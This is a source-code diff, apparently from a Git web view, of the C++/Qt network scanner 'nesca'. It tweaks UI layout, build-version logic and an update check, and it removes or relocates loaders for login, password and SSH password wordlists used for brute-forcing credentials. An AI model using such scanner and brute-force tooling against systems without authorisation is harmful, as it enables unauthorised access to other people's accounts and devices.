||||
item->setY(115);
|
||||
item->setY(115+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(190, 140, 210, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 141, 189, 141, penPT);
|
||||
item = sceneTextPlacer->addText("- Suspicious", fnt);
|
||||
item->setX(25);
|
||||
item->setY(125);
|
||||
item->setY(125+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(230, 150, 250, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 151, 229, 151, penPT);
|
||||
item = sceneTextPlacer->addText("- Overloads", fnt);
|
||||
item->setX(25);
|
||||
item->setY(135);
|
||||
item->setY(135+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(270, 160, 290, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 161, 269, 161, penPT);
|
||||
item = sceneTextPlacer->addText("- Lowloads", fnt);
|
||||
item->setX(25);
|
||||
item->setY(145);
|
||||
item->setY(145+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
|
||||
sceneTextPlacer->addLine(310, 170, 330, 100, penPT);
|
||||
sceneTextPlacer->addLine(23, 171, 309, 171, penPT);
|
||||
item = sceneTextPlacer->addText("- Alive", fnt);
|
||||
item = sceneTextPlacer->addText("- Alive", fnt);
|
||||
item->setX(25);
|
||||
item->setY(155);
|
||||
item->setY(155+linuxOffsetKOSTYL);
|
||||
item->setDefaultTextColor(QColor(255, 255, 255, 180));
|
||||
}
|
||||
else if(VoiceScanFlag)
|
||||
@ -2552,43 +2556,44 @@ void CreateVerFile()
|
||||
|
||||
std::string GetVer()
|
||||
{
|
||||
int dver = 0;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
int dver = 0;
|
||||
int tver = 0;
|
||||
|
||||
dver = __DATE__[9] - 48;
|
||||
dver *= 10;
|
||||
dver += __DATE__[10] - 48;
|
||||
dver *= 100;
|
||||
|
||||
if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1;
|
||||
else if(__DATE__[0] == 'F') dver += 2;
|
||||
dver = __DATE__[9] - 48;
|
||||
dver *= 10;
|
||||
dver += __DATE__[10] - 48;
|
||||
dver *= 100;
|
||||
|
||||
if(__DATE__[0] == 'J' && __DATE__[1] == 'a') dver += 1;
|
||||
else if(__DATE__[0] == 'F') dver += 2;
|
||||
else if(__DATE__[0] == 'M' && __DATE__[2] == 'r') dver += 3;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'p') dver += 4;
|
||||
else if(__DATE__[0] == 'M' && __DATE__[2] == 'y') dver += 5;
|
||||
else if(__DATE__[0] == 'J' && __DATE__[2] == 'n') dver += 6;
|
||||
else if(__DATE__[0] == 'J' && __DATE__[2] == 'l') dver += 7;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8;
|
||||
else if(__DATE__[0] == 'S') dver += 9;
|
||||
else if(__DATE__[0] == 'O') dver += 10;
|
||||
else if(__DATE__[0] == 'N') dver += 11;
|
||||
else if(__DATE__[0] == 'D') dver += 12;
|
||||
|
||||
if(__DATE__[4] != ' ')
|
||||
{
|
||||
dver *= 10;
|
||||
dver += __DATE__[4] - 48;
|
||||
}
|
||||
else dver *= 10;
|
||||
dver *= 10;
|
||||
dver += __DATE__[5] - 48;
|
||||
else if(__DATE__[0] == 'A' && __DATE__[1] == 'u') dver += 8;
|
||||
else if(__DATE__[0] == 'S') dver += 9;
|
||||
else if(__DATE__[0] == 'O') dver += 10;
|
||||
else if(__DATE__[0] == 'N') dver += 11;
|
||||
else if(__DATE__[0] == 'D') dver += 12;
|
||||
|
||||
tver = __TIME__[0] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[1] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[3] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[4] - 48;
|
||||
if(__DATE__[4] != ' ')
|
||||
{
|
||||
dver *= 10;
|
||||
dver += __DATE__[4] - 48;
|
||||
}
|
||||
else dver *= 10;
|
||||
dver *= 10;
|
||||
dver += __DATE__[5] - 48;
|
||||
|
||||
tver = __TIME__[0] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[1] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[3] - 48;
|
||||
tver *= 10;
|
||||
tver += __TIME__[4] - 48;
|
||||
|
||||
char dverX[16] = {0};
|
||||
char tverX[16] = {0};
|
||||
@ -2597,9 +2602,22 @@ std::string GetVer()
|
||||
sprintf(tverX, "%X", tver);
|
||||
|
||||
std::string db = std::string(dverX) + "-" + std::string(tverX);
|
||||
//sprintf(db, "%X-%X", dver, tver);
|
||||
|
||||
return db;
|
||||
#else
|
||||
FILE *f = fopen("version", "r");
|
||||
if(f != NULL) {
|
||||
char buff[32] = {0};
|
||||
fgets(buff, 32, f);
|
||||
fclose(f);
|
||||
|
||||
std::string db = std::string(buff);
|
||||
return db;
|
||||
} else {
|
||||
stt->doEmitionRedFoundData("Cannot open version file.");
|
||||
return "?";
|
||||
};
|
||||
#endif
|
||||
}
|
||||
|
||||
void nesca_3::slotShowRedVersion()
|
||||
@ -2638,14 +2656,12 @@ void _startMsgCheck()
|
||||
QTime time = QTime::currentTime();
|
||||
qsrand((uint)time.msec());
|
||||
|
||||
|
||||
|
||||
const std::string &gVERStr = GetVer();
|
||||
strcpy(gVER, gVERStr.c_str());
|
||||
QString QVER(gVER);
|
||||
ui->logoLabel->setToolTip("v3-" + QVER);
|
||||
ui->logoLabel->setStyleSheet("color:white; border: none;background-color:black;");
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
ui->newMessageLabel->setStyleSheet("color:rgba(255, 0, 0, 0);background-color: rgba(2, 2, 2, 0);");
|
||||
|
||||
CreateVerFile();
|
||||
RestoreSession();
|
||||
|
@ -4,6 +4,7 @@
|
||||
#include "externFunctions.h"
|
||||
#include "Connector.h"
|
||||
#include "Threader.h"
|
||||
#include "FileUpdater.h"
|
||||
#include <thread>
|
||||
|
||||
QJsonArray *jsonArr = new QJsonArray();
|
||||
@ -811,309 +812,6 @@ void verboseProgressDNS(unsigned long target, const char *ip, const char *TLD, c
|
||||
progressOutput(target);
|
||||
}
|
||||
|
||||
void _passLoginLoader() {
|
||||
MaxLogin = 0;
|
||||
MaxPass = 0;
|
||||
|
||||
char buffFG[32] = {0};
|
||||
int i = 0;
|
||||
|
||||
FILE *loginList = fopen("login.txt", "r");
|
||||
FILE *passList = fopen("pass.txt", "r");
|
||||
|
||||
if(passList != NULL && loginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
MaxLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
MaxPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(loginList);
|
||||
rewind(passList);
|
||||
|
||||
loginLst = new char*[MaxLogin];
|
||||
passLst = new char*[MaxPass];
|
||||
|
||||
for(int j = 0; j < MaxLogin; j++)
|
||||
{
|
||||
loginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
for(int j = 0; j < MaxPass; j++)
|
||||
{
|
||||
passLst[j] = new char[32];
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, passList) != NULL)
|
||||
{
|
||||
memset(passLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(passLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(passLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Password list loaded (" + QString::number(MaxPass) + " entries)");
|
||||
|
||||
i = 0;
|
||||
|
||||
while(fgets(buffFG, 32, loginList) != NULL)
|
||||
{
|
||||
memset(loginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(loginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(loginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Login list loaded (" + QString::number(MaxLogin) + " entries)");
|
||||
|
||||
fclose(loginList);
|
||||
fclose(passList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
|
||||
MaxWFLogin = 0;
|
||||
MaxWFPass = 0;
|
||||
|
||||
FILE *wfLoginList;
|
||||
FILE *wfPassList;
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
i = 0;
|
||||
|
||||
wfLoginList = fopen("wflogin.txt", "r");
|
||||
wfPassList = fopen("wfpass.txt", "r");
|
||||
|
||||
if(wfPassList != NULL && wfLoginList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
MaxWFLogin++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
MaxWFPass++;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(wfLoginList);
|
||||
rewind(wfPassList);
|
||||
|
||||
wfLoginLst = new char*[MaxWFLogin];
|
||||
wfPassLst = new char*[MaxWFPass];
|
||||
|
||||
for(int j = 0; j < MaxWFLogin; j++)
|
||||
{
|
||||
wfLoginLst[j] = new char[32];
|
||||
};
|
||||
|
||||
for(int j = 0; j < MaxWFPass; j++)
|
||||
{
|
||||
wfPassLst[j] = new char[32];
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, wfPassList) != NULL)
|
||||
{
|
||||
memset(wfPassLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfPassLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfPassLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFPassword list loaded (" + QString::number(MaxWFPass) + " entries)");
|
||||
|
||||
i = 0;
|
||||
|
||||
while(fgets(buffFG, 32, wfLoginList) != NULL)
|
||||
{
|
||||
memset(wfLoginLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(wfLoginLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(wfLoginLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("WFLogin list loaded (" + QString::number(MaxWFLogin) + " entries)");
|
||||
fclose(wfPassList);
|
||||
fclose(wfLoginList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
|
||||
MaxSSHPass = 0;
|
||||
FILE *sshlpList;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
i = 0;
|
||||
|
||||
sshlpList = fopen("sshpass.txt", "r");
|
||||
|
||||
if(sshlpList != NULL)
|
||||
{
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
++MaxSSHPass;
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(sshlpList);
|
||||
|
||||
sshlpLst = new char*[MaxSSHPass];
|
||||
|
||||
for(int j = 0; j < MaxSSHPass; j++)
|
||||
{
|
||||
sshlpLst[j] = new char[32];
|
||||
};
|
||||
|
||||
while(fgets(buffFG, 32, sshlpList) != NULL)
|
||||
{
|
||||
memset(sshlpLst[i], 0, strlen(buffFG) + 1);
|
||||
|
||||
if(strstr(buffFG, "\n") != NULL) strncat(sshlpLst[i++], buffFG, strlen(buffFG) - 1);
|
||||
else strncat(sshlpLst[i++], buffFG, strlen(buffFG));
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("SSH Password list loaded (" + QString::number(MaxSSHPass) + " entries)");
|
||||
|
||||
fclose(sshlpList);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No password/login list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
|
||||
void ReadUTF8(FILE* nFile, char *cp) {
|
||||
char buffFG[256] = {0};
|
||||
int i = 0;
|
||||
GlobalNegativeSize = 0;
|
||||
|
||||
if(nFile != NULL)
|
||||
{
|
||||
while(fgets((char*)buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] != '#' && buffFG[0] != ' ' && buffFG[0] != '\n' && buffFG[0] != '\r' && strcmp(buffFG, "") != 0 &&
|
||||
((buffFG[0] == '/' && buffFG[1] == '/') == false) && ((buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == 13 || buffFG[3] == 10 || buffFG[3] == '#')) == false)
|
||||
&& (buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t' && (buffFG[3] == '/' && buffFG[4] == '/')) == false)
|
||||
{
|
||||
++GlobalNegativeSize;
|
||||
};
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
rewind(nFile);
|
||||
if(strcmp(cp, "UTF") == 0) fseek(nFile, 3, 0);
|
||||
|
||||
GlobalNegatives = new char*[GlobalNegativeSize + 2];
|
||||
|
||||
while(fgets(buffFG, sizeof(buffFG), nFile) != NULL)
|
||||
{
|
||||
if(buffFG[0] == '#' || buffFG[0] == ' ' || buffFG[0] == '\n' || buffFG[0] == '\r' || strcmp(buffFG, "") == 0 ||
|
||||
(buffFG[0] == '/' && buffFG[1] == '/'))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
|
||||
if(buffFG[0] == '\t' && buffFG[1] == '\t' && buffFG[2] == '\t')
|
||||
{
|
||||
char buffFGT[256] = {0};
|
||||
strcpy(buffFGT, buffFG);
|
||||
char *ptr1 = strstr(buffFGT, "\t\t\t");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
strcpy(buffFG, ptr1 + 3);
|
||||
};
|
||||
|
||||
int bSz = strlen(buffFG);
|
||||
if((bSz == 2 && buffFG[0] == 13 && buffFG[1] == 10) || (bSz == 1 && (buffFG[0] == 13 || buffFG[0] == 10)))
|
||||
{
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
continue;
|
||||
};
|
||||
if(buffFG[bSz] == 13 || buffFG[bSz] == 10)
|
||||
{
|
||||
buffFG[bSz] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 1] == 13 || buffFG[bSz - 1] == 10)
|
||||
{
|
||||
buffFG[bSz - 1] = '\0';
|
||||
};
|
||||
if(buffFG[bSz - 2] == 13 || buffFG[bSz - 2] == 10)
|
||||
{
|
||||
buffFG[bSz - 2] = '\0';
|
||||
};
|
||||
|
||||
if(strstr((char*)buffFG, "\n") != 0)
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz - 1);
|
||||
memset(GlobalNegatives[i] + sz - 1, '\0', 1);
|
||||
++i;
|
||||
}
|
||||
else
|
||||
{
|
||||
std::string res;
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
ZeroMemory(GlobalNegatives[i], sizeof(*GlobalNegatives[i]));
|
||||
memcpy(GlobalNegatives[i], toLowerStr(res.c_str()).c_str(), sz);
|
||||
memset(GlobalNegatives[i] + sz, '\0', 1);
|
||||
++i;
|
||||
};
|
||||
|
||||
unsigned char buffcpy2[256] = {0};
|
||||
int sz = strlen((char*)buffFG);
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
strncpy((char*)buffcpy2, xcode(buffFG, CP_ACP, CP_UTF8).c_str(), sz);
|
||||
#else
|
||||
strncpy((char*)buffcpy2, buffFG, sz);
|
||||
#endif
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
fclose(nFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
stt->doEmitionRedFoundData("No negative list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
};
|
||||
}
|
||||
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
unsigned char* ASCIItoUNICODE (unsigned char ch)
|
||||
{
|
||||
@ -1154,24 +852,6 @@ std::string xcode(LPCSTR src, UINT srcCodePage, UINT dstCodePage) {
|
||||
#endif
|
||||
return res;
|
||||
}
|
||||
void _NegativeLoader() {
|
||||
FILE *nFile = fopen("negatives.txt", "rb");
|
||||
|
||||
if( nFile != NULL)
|
||||
{
|
||||
unsigned char b[3] = {0};
|
||||
fread(b,1,2, nFile);
|
||||
if( b[0] == 0xEF && b[1] == 0xBB)
|
||||
{
|
||||
fread(b,1,1,nFile); // 0xBF
|
||||
ReadUTF8(nFile, "UTF");
|
||||
}
|
||||
else
|
||||
{
|
||||
ReadUTF8(nFile, "1251");
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
void CheckMaskBits(char *res, int index) {
|
||||
char *bitsStr = strstr(res, "/");
|
||||
@ -2080,11 +1760,13 @@ int _GetDNSFromMask(char *mask, char *saveMask, char *saveMaskEnder) {
|
||||
}
|
||||
|
||||
void runAuxiliaryThreads() {
|
||||
std::thread lpThread(FileUpdater::updateLists);
|
||||
lpThread.detach();
|
||||
std::thread saverThread(_saver);
|
||||
saverThread.detach();
|
||||
std::thread trackerThread(_tracker);
|
||||
std::thread timerThread(_timer);
|
||||
saverThread.detach();
|
||||
trackerThread.detach();
|
||||
trackerThread.detach();
|
||||
std::thread timerThread(_timer);
|
||||
timerThread.detach();
|
||||
}
|
||||
|
||||
@ -2142,9 +1824,6 @@ int startScan(char* args) {
|
||||
stt->doEmitionIPRANGE(QString("--"));
|
||||
stt->doEmitionThreads(QString::number(0) + "/" + QString::number(gThreads));
|
||||
|
||||
_passLoginLoader();
|
||||
_NegativeLoader();
|
||||
|
||||
runAuxiliaryThreads();
|
||||
|
||||
if (gMode == 0)
|
||||
|
@ -7,7 +7,7 @@
|
||||
void _checkVer()
|
||||
{
|
||||
while(true) {
|
||||
char request[64] = {"http://nesca.d3w.org/version"};
|
||||
const char request[64] = {"http://nesca.d3w.org/version"};
|
||||
std::string buffer;
|
||||
std::vector<std::string> headerVector {"X-Nescav3: True"};
|
||||
Connector::nConnect(request, 80, &buffer, NULL, &headerVector);
|
||||
@ -20,6 +20,8 @@ void _checkVer()
|
||||
ptr1 = strstr((char*)buffer.c_str(), "\r\n\r\n");
|
||||
if(strcmp(gVER, ptr1 + 4) != 0)
|
||||
{
|
||||
stt->doEmitionFoundData("<br><font color=\"Pink\">======Update required======<br>Latest version: " + QString(ptr1 + 4) +
|
||||
"<br>Your version: " + QString(gVER) + "<br>=======================</font>");
|
||||
stt->doEmitionShowRedVersion();
|
||||
};
|
||||
};
|
||||
|
Loading…
Reference in New Issue
Block a user